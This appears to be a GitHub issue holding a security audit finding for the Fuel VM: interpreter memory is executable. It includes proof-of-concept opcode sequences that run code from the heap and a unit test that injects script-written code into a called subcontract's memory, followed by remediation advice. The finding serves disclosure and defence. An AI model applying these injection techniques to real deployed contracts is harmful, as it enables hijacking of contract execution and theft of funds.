You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The interpreter’s memory is executable. The figure 26.1 demonstrates this by writing the instruction RET 0x1 to the heap and then jumping to it. This is problematic as it enables compilers to produce code which utilize this behavior. Programs might become vulnerable to classical security vulnerabilities like heap or stack buffer-overflows which are able to change the programs control flow.
Figure 26.1: Proof of concept for executing code on the heap.
// allocate
op::movi(0x13, 8),
op::aloc(0x13),
// write RET op
op::movi(0x14, 0x24),
op::sb(RegId::HP, 0x14, 0),
// write 0x1 register for return code
op::movi(0x14, 0x1 << 2),
op::sb(RegId::HP, 0x14, 1),
// Set jump target to beginning of heap
op::move_(0x11, RegId::HP),
// Subtract $is
op::sub(0x11, 0x11, RegId::IS),
op::divi(0x11, 0x11, 4),
// Jump
op::jmp(0x11),
A further demonstration of this behavior can be seen in the following example (see figure 26.2). The script allocates some stack memory, which is larger than the call frame of the internal subcontract. Note, that the subcontract is vulnerable here, because it does not finish with a RET instruction. Then the contract writes executable code just after the call frame and code of the subcontract which will be called later in the script. After freeing the stack, the subcontract is called. Code which has been written by the script is executed in the context of the internal contract.
Note that the code size of the calling script must be padded to align to words.
Figure 26.2: Unit test which demonstrates executing script controlled code in the internal contract.
let gas_limit = 10_000_000;let asset_id:AssetId = rng.gen();let call_amount = 10u64;letmut test_context = TestBuilder::new(2322u64);let subcontract = vec![// op::ret(RegId::BAL) // no return code];let contract_id = test_context.setup_contract(subcontract.clone(),None,None).contract_id;let(script_ops, offset) = script_with_data_offset!(
data_offset,
vec![// pad
op::noop(),
// over allocate
op::cfei(1024),
// attack address
op::movi(0x15, 11648), // fp of called contract + frame size + code size// ret op code
op::movi(0x14, 0x24),
op::sb(0x15, 0x14, 0),
// ret value (reg 1)
op::movi(0x14, 1 << 2),
op::sb(0x15, 0x14, 1),
// deallocate
op::cfsi(1024),
// load call data to 0x10
op::movi(0x10, data_offset + 32),
// load balance to forward to 0x12
op::movi(0x11, call_amount asImmediate18),
// load the asset id to use to 0x13
op::movi(0x12, data_offset),
op::call(0x10, 0x11, 0x12, RegId::CGAS),
op::ret(RegId::ONE),
],
test_context.tx_offset());let script_data:Vec<u8> = [
asset_id.as_ref(),Call::new(contract_id,0, offset asWord).to_bytes().as_slice(),].into_iter().flatten().copied().collect();// call contract with some amount of coins to forwardletmut transfer_tx = test_context
.start_script(script_ops, script_data).gas_limit(gas_limit).gas_price(0).coin_input(asset_id,1000).contract_input(contract_id).contract_output(&contract_id).change_output(asset_id).build();// Ensure transfer tx processed correctly
test_context.execute_tx(transfer_tx).unwrap();
Therefore, depending on the layout of the subcontract a script might be able to control the memory of the called program by writing to its heap or stack.
The LDC instruction utilizes the behavior from figure 26.2. It loads data onto the stack, moves the stack and start of stack pointers (SP & SSP). Finally, the frame metadata (code size) is updated. Therefore, changes to the executability of memory will influence how instructions are designed.
Recommendations
Short term, implement a protection mechanism which prohibits executing certain memory regions like the heap. In case of the stack canaries could be introduced, which when overwritten cause a panic. Even though the Sway language aims to be memory safe, there is the possibility of bugs in the compiler which may produce unsafe code. Furthermore, users of Fuel could decide to design a competing language additionally to Sway, which might be not as memory safe as Sway.
Long term, consider making the memory non-executable. WebAssembly does not allow executing memory. Code is separated from data. This limits the possibility of RCE though contracts executed in the Fuel VM.
The text was updated successfully, but these errors were encountered:
Description
The interpreter’s memory is executable. The figure 26.1 demonstrates this by writing the instruction RET 0x1 to the heap and then jumping to it. This is problematic as it enables compilers to produce code which utilize this behavior. Programs might become vulnerable to classical security vulnerabilities like heap or stack buffer-overflows which are able to change the programs control flow.
Figure 26.1: Proof of concept for executing code on the heap.
A further demonstration of this behavior can be seen in the following example (see figure 26.2). The script allocates some stack memory, which is larger than the call frame of the internal subcontract. Note, that the subcontract is vulnerable here, because it does not finish with a RET instruction. Then the contract writes executable code just after the call frame and code of the subcontract which will be called later in the script. After freeing the stack, the subcontract is called. Code which has been written by the script is executed in the context of the internal contract.
Note that the code size of the calling script must be padded to align to words.
Figure 26.2: Unit test which demonstrates executing script controlled code in the internal contract.
Therefore, depending on the layout of the subcontract a script might be able to control the memory of the called program by writing to its heap or stack.
The LDC instruction utilizes the behavior from figure 26.2. It loads data onto the stack, moves the stack and start of stack pointers (SP & SSP). Finally, the frame metadata (code size) is updated. Therefore, changes to the executability of memory will influence how instructions are designed.
Recommendations
Short term, implement a protection mechanism which prohibits executing certain memory regions like the heap. In case of the stack canaries could be introduced, which when overwritten cause a panic. Even though the Sway language aims to be memory safe, there is the possibility of bugs in the compiler which may produce unsafe code. Furthermore, users of Fuel could decide to design a competing language additionally to Sway, which might be not as memory safe as Sway.
Long term, consider making the memory non-executable. WebAssembly does not allow executing memory. Code is separated from data. This limits the possibility of RCE though contracts executed in the Fuel VM.
The text was updated successfully, but these errors were encountered: